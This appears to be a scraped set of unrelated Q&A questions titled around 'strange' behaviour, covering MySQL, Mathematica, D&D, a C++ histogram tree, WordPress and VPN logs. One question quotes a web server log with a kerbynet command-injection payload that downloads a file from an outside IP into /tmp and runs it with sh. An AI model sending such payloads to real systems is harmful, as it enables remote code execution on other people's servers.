Strange problem

I don’t know if anyone else has this bug , but I’m on a vps via rdp and SER just disappears from the desktop yet its still running in taskmanager. Theres no icon on the taskbar, I cant bring it back to focus and the only way to shut it down is via taskmanager.

Strange behaviour on stored procedure

I have the following mysql stored procedure:

DELIMITER // CREATE PROCEDURE INSERT_INTO_WORKDAY(IN deviceName VARCHAR(16), IN cardUID VARCHAR(14))  BEGIN     SET @projectId = (SELECT MIN(ID) FROM PROJECT WHERE DEVICEID = (SELECT MIN(ID) FROM DEVICE WHERE NAME = deviceName) ORDER BY ID DESC LIMIT 1);     SET @workerId = (SELECT MIN(ID) FROM WORKER WHERE CARDNUMBER = cardUID);     SELECT @workerId;          SET @id = (SELECT MIN(ID) FROM WORKDAY WHERE WORKERID = @workerId AND PROJECTID = @projectId AND STOPTIME IS NULL AND STARTTIME IS NOT NULL);     IF (@id >= 0)         THEN             UPDATE WORKDAY SET STOPTIME = now() WHERE ID = @id;     ELSE         INSERT INTO WORKDAY (WORKERID, PROJECTID, STARTTIME) VALUES (@workerId, @projectId, now());     END IF; END; // DELIMITER ; 

When I call the procedure once, I get the result:

mysql> CALL INSERT_INTO_WORKDAY("Pepper_C1-1A6318", "045D91B22C5E80"); +-----------+ | @workerId | +-----------+ |         1 | +-----------+ 1 row in set (0.01 sec)  Query OK, 1 row affected (0.09 sec) 

From second run, is not working anymore:

mysql> CALL INSERT_INTO_WORKDAY("Pepper_C1-1A6318", "045D91B22C5E80"); +-----------+ | @workerId | +-----------+ |      NULL | +-----------+ 1 row in set (0.00 sec)  ERROR 1048 (23000): Column 'WORKERID' cannot be null 

I did try to isolate and run the procedure with only this two lines of code:

    SET @workerId = (SELECT MIN(ID) FROM WORKER WHERE CARDNUMBER = cardUID);     SELECT @workerId; 

And it behaves just like above, but if I try to run SELECT MIN(ID) FROM WORKER WHERE CARDNUMBER = "045D91B22C5E80"; alone, works without problems. The @projectId variable behaves normal everytime I call the stored procedure.

Can someone help me to find a solution? Thank you!

My setup:

mihai:~$   mysql -V mysql  Ver 8.0.22-0ubuntu0.20.04.3 for Linux on x86_64 ((Ubuntu)) 
mysql> describe WORKER; +------------+-------------+------+-----+---------+----------------+ | Field      | Type        | Null | Key | Default | Extra          | +------------+-------------+------+-----+---------+----------------+ | ID         | int         | NO   | PRI | NULL    | auto_increment | | FIRSTNAME  | varchar(15) | NO   |     | NULL    |                | | LASTNAME   | varchar(20) | NO   |     | NULL    |                | | CARDNUMBER | varchar(14) | NO   |     | NULL    |                | | POSITIONID | int         | NO   | MUL | NULL    |                | +------------+-------------+------+-----+---------+----------------+ 5 rows in set (0.01 sec) 

AnglePath strange behaviour

I’ve noted that AnglePath behaves differently according to the length of the argument.

It seems that when the steps are less than 100 the output can be a list of _Integer coordinates, otherwise the output is always a list of _Real coordinates and sometimes with gratuitous errors too.

Do[If[And @@ MatchQ[#, {_Integer, _Integer}] & /@ AnglePath[ConstantArray[0, i]], , Print[i]; Break[]], {i, Infinity}];  (* 100 *) 

In this example when the angles are all 0° the path is a straight line and the list of 2D coordinates is:

  • {{0,0},{1,0},{2,0},...} with less then 100 steps
  • {{0.,0.},{1.,0.},{2.,0.},...} with more then 99 steps

But something even more unreliable arises when right angles are used:

Last@AnglePath[ConstantArray[90°, 96]] (* {0,0} *)  Last@AnglePath[ConstantArray[90°, 100]] (* {-1.25677*10^-13, -1.3824*10^-13} *)  Last@AnglePath[ConstantArray[90°, 10000000]] (* {0.00189154, 0.00189872} *) 

Is this intended or known?

What is the “strange platypus-like creature” referenced in abberant mind’s origins?

I don’t recall any “strange platypus-like” creature in D&D, let alone one appropriate for the Aberrant Mind. I can only think of Perry the Platypus from the Phineas and Ferb cartoon. Nevertheless the Abberant Mind’s origins describes such a creature:

As a child, you had an imaginary friend that looked like a flumph or a strange platypus-like creature. One day, it gifted you with psionic powers, which have ended up being not so imaginary.

The Flumph is name checked, and I’m aware of that creature. What is the other one?

Why do I get strange symbols in the article?

Hello guys!
I just edited the file: auto_anchor-article.dat, for example from English to Portuguese.
I did a test with an article to get the preview – minimal, and the article shows strange symbols, see image.

Those symbols are shown in the article.

I think it’s because of the accents.
My question is: will these symbols appear at the end of the campaign (articles, webs, wiki …) or does it only show in the preview?

Recording a histogram in a tree exhibits strange best case

The task is to record a histogram from a streaming data source.

One data point is, say, a 16 bit integer. The maximum multiple of one data point before the stream ends, is < 2^32. The main restriction is that there isn’t enough memory to have an array of counters which completely covers the range of the data points (65536 counters of 0-2^32), much less record all single data points and bulk-process them afterwards. In the case where the dispersion of the data source covers the complete possible 16-bit range, the result is not of interest, i.e. this marks a histogram type which is not processed further. Valid histograms consist of only a few clusters where the majority of points are found. Data is roughly continuous which has a very valuable consequence: new outliers can, without loss of detection capability) supersede old outliers (i.e. those with the lowest count) so that new clusters can enter the histogram even when the available memory is full. This is very rare however, the data source is in a way nice to track; just the number and location of the clusters is unpredictable. The following is a try of mine with a binary tree recording the multitude of each data point (I didn’t implement the substitution, just the insert). The special property of the tree is that it tries to move points with a high occurrence number close to the root, in hope for a short search path in the majority cases. The boolean predicate is the function exchange_p which compares the weight of a root to its left or right child. In case the predicate is true, an exchange is executed, possibly invoking further exchanges lateron.

The idea is that it is favorable to not exchange tree nodes at every insert but to let the node count run up to a certain multiple of its parent before an exchange is initiated, thereby avoiding unnecessary oscillations of nodes. Things worked out very differently, tho.

The problem exhibits a strange behaviour, with QUOTA around 0.8 (i.e. exchange if root < 0.8*child) for the overall minimum number of operations. Is there some theory which amalgates O-notation with stochastics for special input distributions?

You can run the below example (it has real world data in it), the file is completely self-contained and should run out of the box.

#include <cstdio> #include <cstdint> #include <cstdlib>   int exchg; int ins; int tree_ins;  float QUOTA = 1.0f;  void error_func (const char *s) {   printf ("%s", s);   exit (1); }  typedef enum { LEFT_CHILD, RIGHT_CHILD, NO_CHILD } child_side_t;    typedef int16_t element_t; typedef uint32_t counting_t;   struct bin_tree_counting_node_t {   bin_tree_counting_node_t *left, *right;   counting_t cnt;   element_t element; };   void print_node (bin_tree_counting_node_t* root) {   printf ("%i\t%u\n", root->element, root->cnt); }  void print_tree (bin_tree_counting_node_t* root, int lvl) {   if (root == NULL)     return;   print_tree (root->left, lvl+1);   // printf ("Level %d: ", lvl);   print_node (root);   print_tree (root->right, lvl+1); }     bool exchange_p (bin_tree_counting_node_t* root,         bin_tree_counting_node_t* child,         child_side_t side) {   return (root->cnt < QUOTA * child->cnt); }  bin_tree_counting_node_t* tree_insert_tree (bin_tree_counting_node_t* tree_a,          bin_tree_counting_node_t* tree_b) {   tree_ins++;      if (tree_a == NULL)     return tree_b;   else if (tree_b == NULL)     return tree_a;   else if (exchange_p (tree_a, tree_b, NO_CHILD)) {     if (tree_a->element < tree_b->element)        tree_b->left = tree_insert_tree (tree_a, tree_b->left);     else       tree_b->right = tree_insert_tree (tree_a, tree_b->right);     return tree_b;   }   // Case for a > b coincides with a ~ b   // else if (exchange_p (tree_b, tree_a, NO_CHILD)) {   //   if (tree_a->element < tree_b->element)    //     tree_a->right = tree_insert_tree (tree_a->right, tree_b);   //   else   //     tree_a->left = tree_insert_tree (tree_a->left, tree_b);   //   return tree_a;   // }   else {     if (tree_a->element < tree_b->element)        tree_a->right = tree_insert_tree (tree_a->right, tree_b);     else       tree_a->left = tree_insert_tree (tree_a->left, tree_b);     return tree_a;   }       }  bin_tree_counting_node_t* exchange (bin_tree_counting_node_t* root,      child_side_t side) {   exchg++;      // Exchange root with its child   bin_tree_counting_node_t* child;   if (side == LEFT_CHILD) {     child = root->left;     root->left = NULL;     child->right = tree_insert_tree (root, child->right);   }   else {     child = root->right;     root->right = NULL;     child->left = tree_insert_tree (root, child->left);   }   return child; }  bin_tree_counting_node_t* tree_insert (bin_tree_counting_node_t* root,         element_t elem) {   ins++;      if (root == NULL) {     bin_tree_counting_node_t* new_node = (bin_tree_counting_node_t*)malloc (sizeof (bin_tree_counting_node_t));     if (new_node == NULL) { error_func ("Memory exhausted!"); }     new_node->element = elem;     new_node->cnt = 1;     new_node->right = new_node->left = NULL;     return new_node;   }      if (elem == root->element) {     root->cnt++;     if (root->cnt == 0) { error_func ("Counting overflow! Very large amount of inserts >2^32!"); }   }   else if (elem < root->element) {     root->left = tree_insert (root->left, elem);     if (exchange_p (root, root->left, LEFT_CHILD))       return exchange (root, LEFT_CHILD);   }   else {     root->right = tree_insert (root->right, elem);     if (exchange_p (root, root->right, RIGHT_CHILD))       return exchange (root, RIGHT_CHILD);   }   return root; }  void free_tree(bin_tree_counting_node_t* root) {   if (root == NULL)     return;   free_tree (root->left);   free_tree (root->right);   free (root); }  int main (void) {   element_t sample[] =     {       17060,17076,17076,17060,17092,17028,17076,17060,17060,17076,17060,17076,17060,17060,17140,17140,17124,17124,       17124,17140,17108,17140,17124,17124,17108,17108,17124,17124,17140,17092,17124,17124,17140,17140,17124,17156,       17140,17108,17156,17140,17124,17124,17124,17108,17124,17124,17124,17092,17140,17092,       17124,17108,17156,17124,17156,17140,17124,17172,17124,17108,17124,17108,17108,17108,17108,17124,17108,17124,       17108,17108,17124,17124,17140,17124,17108,17092,17108,17108,17092,17124,17108,17108,17124,17108,17124,17108,       17124,17140,17156,17124,17108,17108,17124,17124,17124,17140,17092,17140,17124,       17108,17124,17124,17124,17124,17108,17124,17108,17124,17108,17108,17108,17124,17108,17124,17124,17108,17108,       17124,17108,17124,17140,17124,17124,17108,17108,17140,17140,17124,17108,17140,17124,16291,16339,16339,16307,       16323,16259,16275,16275,16259,16388,16388,16355,15795,15731,16195,16179,16179,       15715,14467,14643,14851,17284,17012,16147,15155,15203,16131,15331,14691,14739,14739,14755,14723,14739,14707,       14771,14739,14707,14691,14531,14787,14563,15587,15907,15907,15923,15907,13123,13107,13091,13267,13091,13187,       13091,14643,15875,15907,16964,16404,16227,15219,14771,14771,14803,14787,14803,       14787,14803,14803,14755,14755,14771,14755,14723,14723,14739,14739,14963,16884,16868,15827,13075,13123,13091,       12979,13043,13219,13075,13059,13075,13123,15779,15875,16916,17028,15155,14675,14707,14691,14707,14691,14691,       14691,14707,14691,14691,14691,14675,14707,14691,14675,14595,14595,14595,14563,       14547,14579,14611,14547,14515,14611,14595,14611,14595,14659,14659,14627,14643,14643,14659,14643,14643,14643,       14659,14659,14643,14643,14611,14659,14611,14659,14659,14659,14643,14643,14643,14643,14611,14643,14627,14675,       14627,14643,14531,14531,14499,15187,16884,16932,15891,15923,13107,13091,13043,       13059,13075,13027,13027,13059,13059,13587,13059,15763,16900,16932,14899,14595,14627,14659,14691,14691,14691,       14691,14659,14675,14675,14675,14675,14691,14675,14691,14675,14611,14643,15107,16788,16964,14835,13363,13059,       13075,13075,13043,13043,13043,13075,13059,13059,15475,15715,16884,16932,16964,       14707,14643,14675,14643,14611,14611,14611,14611,14627,14611,14611,14627,14627,14611,14595,14595,14595,14563,       15027,16756,16932,14595,13059,13075,13059,13059,13011,13027,13059,13059,13043,13059,15683,16852,16948,16067,       15267,14771,15875,16964,16996,16980,17012,17012,17028,17028,17076,17060,17044,       17060,17076,17076,17092,17076,17092,17092,17108,17124,17092,17108,17124,17108,17124,17124,17108,17140,17124,       17108,17124,17108,17028,17124,17124,17092,17124,17108,17124,17108,17124,17092,17108,17108,17108,17124,17124,       17140,17108,17124,17108,17124,17108,17108,17156,17124,17108,17092,17108,17092,       17108,17108,17124,17124,17108,17108,17108,17124,17108,17124,17108,17124,17124,17108,17124,17124,17124,17124,       17124,17092,17140,17108,17124,17124,17140,17028,17124,17028,17108,17108,17124,17124,17124,17124,17108,17108,       17124,17140,17044,17108,17028,17124,17124,17124,17108,17124,17124,17108,17124,       17092,17124,17124,17124,17108,17124,17124,17140,17124,17140,17140,17140,17124,17044,17124,17092,17140,17124,       17140,17124,17124,17124,17108,17124,17124,17124,17124,17124,17140,17076,17140,17140,17108,17140,17124,17140,       17140,17108,17108,17124,17108,17124,17124,17124,17108,17140,17124,17140,17060,       17124,17124,17188,17108,17124,17124,17140,     };    for (QUOTA = 0.1; QUOTA < 3; QUOTA += 0.1) {     ins = tree_ins = exchg = 0;          bin_tree_counting_node_t *tree = NULL;      for (int i=0; i<sizeof sample/sizeof sample[0]; i++) {       tree = tree_insert (tree, sample[i]);     }     printf ("Q:\t%f\tins:\t%d\t tree_ins:\t%d\t exchg:\t%d\t sum:\t%d\n", QUOTA, ins, tree_ins, exchg, ins + tree_ins + exchg);     //print_tree (tree, 0);     //printf ("\n");     free_tree (tree);   }   return 0; } 

Very Strange Access Request to my website

Recently I got a very odd request to my website. This is from the log file:

20.42.89.182 - - [12/Aug/2020:18:48:13 -0400] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 302 195 "-" "-" 20.42.89.182 - - [12/Aug/2020:18:48:13 -0400] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 302 195 "-" "-" 

It appears to be trying to run some shell commands, including what I believe to be downloading the source of a site with cURL. I tried to visit this URL but it was blocked by my security filter. What is kerbynet? Is this part of cloudflare and can it be used to run shell commands on my website?

It should be noted that I use Cloudflare.

wp-login.php in strange location [closed]

I have a problem, in my wordpress the wp-login appears in a strange location myweb.com/covid-19/wp-login.php and it should be myweb.com/wp-login.php. I have searched it in the source code and in the database to eliminate it but I have not been successful.

disable all plugins and the link disappears, but after a while it reappears.

I have performed the following tasks: scan virus and all have given negative

enter image description here

Any ideas?

Is my VPN traffic really being routed through all these strange networks? [closed]

I use the client of a reputed paid VPN company. With each server location I connect to, the log tells me I am instead connecting to networks completely unrelated to the company and the country of the VPN location. But when I check my external IP address, my expected VPN location is returned. So it appears that my traffic is being routed (and logged?) through these strange networks, yet when I try to block them in the firewall, it still connects successfully, making me wonder if I am not connecting to these networks after all or if the firewall is unable to block the connections. Even if no shady routing (MitM) is actually taking place, the question remains: why are those IP addresses showing up in my logs? The signatures of both the VPN client and OpenVPN are valid.

I contacted support, and although they expressed concern, I couldn’t get any explanation in 30 minutes of chatting.

Here’s a redacted transcript of a log. Is there a possibility that my traffic isn’t actually being routed through those networks?

`==============================================

Connecting to Some VPN country - Some VPN city, ip: **SPOOKY IP**, protocol: tcp ... Sat Jul 25 15:47:01 2020 OpenVPN 2.4.7  ... Sat Jul 25 15:47:01 2020 MANAGEMENT: TCP Socket listening on [AF_INET]127.0.0.1:55583 ... Sat Jul 25 15:47:01 2020 Outgoing Control Channel Authentication: Using 512 bit message hash 'SHA512' for HMAC authentication Sat Jul 25 15:47:01 2020 Incoming Control Channel Authentication: Using 512 bit message hash 'SHA512' for HMAC authentication Sat Jul 25 15:47:01 2020 TCP/UDP: Preserving recently used remote address: [AF_INET]**SPOOKY IP**:443 ... Sat Jul 25 15:47:01 2020 Attempting to establish TCP connection with [AF_INET]**SPOOKY IP**:443 [nonblock] Sat Jul 25 15:47:02 2020 TCP connection established with [AF_INET]**SPOOKY IP**:443 Sat Jul 25 15:47:02 2020 TCP_CLIENT link local: (not bound) Sat Jul 25 15:47:02 2020 TCP_CLIENT link remote: [AF_INET]**SPOOKY IP**:443 Sat Jul 25 15:47:02 2020 TLS: Initial packet from [AF_INET]**SPOOKY IP**:443, sid=xxxxxxxx xxxxxxxx ...  Sat Jul 25 15:47:02 2020 Peer Connection Initiated with [AF_INET]**SPOOKY IP**:443 ... Sat Jul 25 15:47:03 2020 PUSH: Received control message: 'PUSH_REPLY,redirect-gateway def1,dhcp-option DNS 10.151.0.1,route 10.151.0.1,topology net30,ping 10,ping-restart 60,socket-flags TCP_NODELAY,ifconfig 10.151.0.102 10.151.0.101,peer-id 0,cipher xxx-xxx-xxx' ... Sat Jul 25 15:47:03 2020 OPTIONS IMPORT: data channel crypto options modified Sat Jul 25 15:47:03 2020 Data Channel: using negotiated cipher 'xxx-xxx-xxx' Sat Jul 25 15:47:03 2020 NCP: overriding user-set keysize with default ... Sat Jul 25 15:47:03 2020 Opening utun (connect(AF_SYS_CONTROL)): Resource busy (errno=16) Sat Jul 25 15:47:03 2020 Opening utun (connect(AF_SYS_CONTROL)): Resource busy (errno=16) Sat Jul 25 15:47:03 2020 Opened utun device utun2 Sat Jul 25 15:47:03 2020 /sbin/ifconfig utun2 delete Sat Jul 25 15:47:03 2020 NOTE: Tried to delete pre-existing tun/tap instance -- No Problem if failure Sat Jul 25 15:47:03 2020 /sbin/ifconfig utun2 10.151.0.102 10.151.0.101 mtu 1500 netmask 255.255.255.255 up ... ifconfig: ioctl (SIOCDIFADDR): Can't assign requested address  DNS setting update type: up DNS setting update type: up, completed  Sat Jul 25 15:47:03 2020 /sbin/route add -net **SPOOKY IP** 192.168.1.1 255.255.255.255 add net **SPOOKY IP**: gateway 192.168.1.1 Sat Jul 25 15:47:03 2020 /sbin/route add -net 0.0.0.0 10.151.0.101 128.0.0.0 add net 0.0.0.0: gateway 10.151.0.101 Sat Jul 25 15:47:03 2020 /sbin/route add -net 128.0.0.0 10.151.0.101 128.0.0.0 add net 128.0.0.0: gateway 10.151.0.101 Sat Jul 25 15:47:03 2020 /sbin/route add -net 0.0.0.0 10.151.0.101 128.0.0.0 route: writing to routing socket: File exists add net 0.0.0.0: gateway 10.151.0.101: File exists Sat Jul 25 15:47:03 2020 /sbin/route add -net 128.0.0.0 10.151.0.101 128.0.0.0 route: writing to routing socket: File exists add net 128.0.0.0: gateway 10.151.0.101: File exists Sat Jul 25 15:47:03 2020 /sbin/route add -net 10.151.0.1 10.151.0.101 255.255.255.255 add net 10.151.0.1: gateway 10.151.0.101 Sat Jul 25 15:47:03 2020 Initialization Sequence Completed `